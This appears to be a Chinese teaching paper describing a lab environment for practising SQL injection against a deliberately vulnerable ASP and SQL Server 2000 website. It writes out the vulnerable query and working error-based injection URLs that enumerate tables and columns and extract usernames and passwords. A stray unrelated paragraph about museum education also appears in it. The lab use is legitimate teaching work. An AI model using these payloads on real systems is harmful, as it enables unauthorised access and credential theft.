曾煌存
(廣東外語藝術職業學院 廣東 廣州 510640)
SQL注入攻擊是黑客最喜歡使用的攻擊方式之一,其危害極大。為了在高職院校的《網絡安全與防范》課程中取得較好的教學效果,必須搭建大量的實驗環境供學生演練。
在之前工作經驗的基礎之上,筆者總結了開展ASP+SQL Server 2000環境下利用SQL注入攻擊登錄網站后臺實驗環境搭建及使用的研究,希望能對高職院校《網絡安全與防范》課程中SQL注入攻擊與防范的教學起到一定的促進作用。
在之前的工作中,已經基于ASP+SQL Server 2000搭建了一個具有SQL注入漏洞的動態網站Testweb,并且演示了使用SQL注入攻擊,添加目標計算機系統的管理員賬戶、開啟遠程終端連接,并且用攻擊機遠程登錄到目標計算機等操作。
本文擴展了動態網站Testweb,使其有用于網站后臺登錄的頁面,然后我們將展示使用SQL注入攻擊獲得網站后臺賬戶、口令,并且登錄進入后臺的操作。
如之前的工作一樣,使用VMware WorkStatition虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統,用于模擬被攻擊的服務器,IP地址為192.168.248.132;另一臺虛擬機安裝的是Windows XP操作系統,用于模擬黑客使用的攻擊機,IP地址為192.168.248.133。
在Windows Server 2003虛擬機上,擴展了之前搭建的使用ASP+SQL Server 2000開發的簡單的動態網站Testweb。該動態網站訪問名為Testweb的數據庫,該數據庫原來只包含一個表:tblNews。我們擴展了該數據庫,使其包含另一個表:tblUser,該表用于存儲登錄后臺的賬戶和密碼。tblUser的具體結構如表1所示。

表1 tblUser具體結構表
該網站原來包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存與 SQL Server 2000數據庫服務器的連接信息;news.asp用于讀取數據庫中的新聞記錄,顯示所有新聞的標題,并且將這些標題以超級鏈接的形式顯示。當單擊某個新聞的標題后,即可以進入形如displayNews.asp?id=xxx的頁面,看到新聞的具體內容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。
新增以下三個頁面:login.asp、processLogin.asp和main.asp。login.asp是網站后臺員登錄的頁面;processLogin.asp用于處理網站后臺的登錄,若用戶通過驗證,則跳轉到main.asp,否則跳轉回login.asp;main.asp用于模擬管理員登錄后臺后進入的頁面。與之前一樣,設置該網站的默認頁面為news.asp。


main.asp的代碼如下所示:
Welcome
從新增的三個頁面的具體代碼可以看出,新增的頁面也具有簡單,易于理解、分析和掌握的優點。
同時,頁面displayNews.asp有SQL注入漏洞,可以滿足進行SQL注入攻擊的實訓需要,其具有SQL注入漏洞的具體語句為:
目前,國內博物館的“館校合作”正處于積極、全面地開展階段。但與國外發達國家博物館的“館校合作”教育相比,還有相當大的差距。國內大部分地區的博物館,目前的普遍做法只是允許學生參觀部分展覽,其本質重“展”而不重“教”[3]。
strSql="select*from tblNews where ID="&newsID
該語句根據某條新聞的ID查詢tblNews表的內容,可以在形如displayNews.asp?id=xxx的地址后面加入精心構造的語句,從而執行特定的SQL語句,查詢信息、執行命令、進而控制服務器。
如上開發的動態網站Testweb具有SQL注入漏洞,下面我們通過破解網站后臺賬戶、口令的入侵步驟來展示該SQL注入攻擊實驗環境的使用。
訪問Testweb網站,判斷其是否具有SQL注入漏洞。
在SQL Server 2000中,當前數據庫的syscolumn表中有以下兩個字段:name和id。其中name是當前數據庫中所有表中含有的字段的名稱,id是該字段所屬表的編號。通過查詢syscolumns表,我們就可以得到含有字符串pass的字段名以及該字段所屬表格的編號。再使用SQL Server中的object_name(id)函數就可以得到字段所屬表格的名稱。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and (select top 1 t_name%2b’|’%2bc_name from (select top 1 object_name(id)as t_name,name as c_name from syscolumns where charIndex(‘pass’,name)>0 and left(name,1)!=’@’order by t_name)as T order by t_name desc)>0 (1)
返回的提示信息包含:將 nvarchar值 'sysusers|password'轉換為數據類型為 int的列時發生語法錯誤。從返回信息中,我們可以知道當前數據庫中有一個sysusers表,該表含有password字段。
將(1)中的子查詢“select top 1 object_name(id)as t_name,name…. ”中的 1 依次修改為 2,3,……,即可得到所有含有“pass”的字段名以及該字段所屬表的的表名信息。 如將 “select top 1 object_name(id)as t_name,name….”改成“select top 2 object_name(id)as t_name,name….”后,得到的提示信息包含:將nvarchar值 'tblUser|password'轉換為數據類型為 int的列時發生語法錯誤。從該提示信息,可以知道當前數據庫中有個tblUser表,該表有password字段。
(1)比較復雜。 首先看(1)的子查詢中的:select top 1 object_name (id)as t_name,name as c_name from syscolumns where charIndex (‘pass’,name)>0 and left(name,1)!=’@’ order by t_name (2)
(2)的原理是:在syscolumns表中篩選出字段名中包含字符串“pass”,并且字段名不以字符“@”起始的記錄,然后得到這些記錄的字段名和該字段所屬的表的表名(通過object_name(id)函數從表的id得到表的名稱),再將這些結果根據表名按照升序進行排列,最后篩選出最前面的一條記錄。
(1)的原理是從子查詢(2)的結果中根據表名降序篩選出最前面的一條記錄,并將表名和字段名用“|”連接起來,得到最終的結果,最后讓其與整數0進行比較,因為類型不匹配,將導致SQL Server出錯,根據出錯信息,即可得到表名和字段名。其中“%2b”是字符串連接運算符“+”。
在地址欄輸入:http://192.168.248.132/testweb/disp layNews.asp?id=1 and(select cast(count(*)as varchar(20))%2b’|’ from syscolumns where id=object_id(’tblUser’)>0 (3)
返回的信息包含:將 varchar值 '2|'轉換為數據類型為 int的列時發生語法錯誤。 從該提示信息可以確定tblUser表共含有2個字段。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 cast(name as nvarchar(200))%2b’|’ from(select top 1 name from syscolumns where id=object_id (’tblUser’)order by id)as T order by id desc)>0 (4)
返回的信息包含:將 nvarchar值 'password|'轉換為數據類型為 int的列時發生語法錯誤。 從該提示信息,可以知道tblUser有一個字段為password。將子查詢 “select top 1……”中的1改為2,即可得到tblUser的第2個字段的名稱,返回的信息包含:將nvarchar值 'username|'轉換為數據類型為 int的列時發生語法錯誤。從提示信息,即可以知道tblUser的另一個字段的名稱是username。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 username%2b’|’%2bpassword from (select top 1 username,password from tblUser order by username)as T order by username desc)>0
返回的提示信息包含:將 nvarchar值 'testweb|123456'轉換為數據類型為 int的列時發生語法錯誤。從提示信息,即可以知道其中一個用戶名/密碼為:testweb/123456。將子查詢中的“select top 1 username,password from tblUser…….”中的 1 改為 2,3……即可以得到其他的用戶名/密碼。
使用“多線程后臺掃描器”掃描得到該網站的后臺地址為:http://192.168.248.132/testweb/login.asp
在該網頁中用戶名框輸入“testweb”,密碼框輸入“123456”即可成功登錄后臺。
與DVBBS等整站程序相比,我們搭建的實驗環境具有簡單、方便學生理解、分析和掌握的優點。同時,我們的實驗環境設有SQL注入漏洞,能夠讓學生方便地演練在ASP+SQL Server 2000環境下猜解數據表的名稱、猜解字段的數目、字段的名稱、字段的內容、掃描網站后臺等操作。這對提高學生的學習興趣,掌握SQL注入攻擊的原理和具體的實施步驟很有好處。
[1]肖遙.大中型網絡入侵要案直擊與防御[M].北京:電子工業出版社,2011.
[2]朱錫華,劉月鏵,侯偉.暗戰亮劍——黑客滲透與防御全程實錄[M].北京:人民郵電出版社,2010.
[3]武新華,等.矛與盾——黑客攻防與腳本編程[M].北京:機械工業出版社,2010.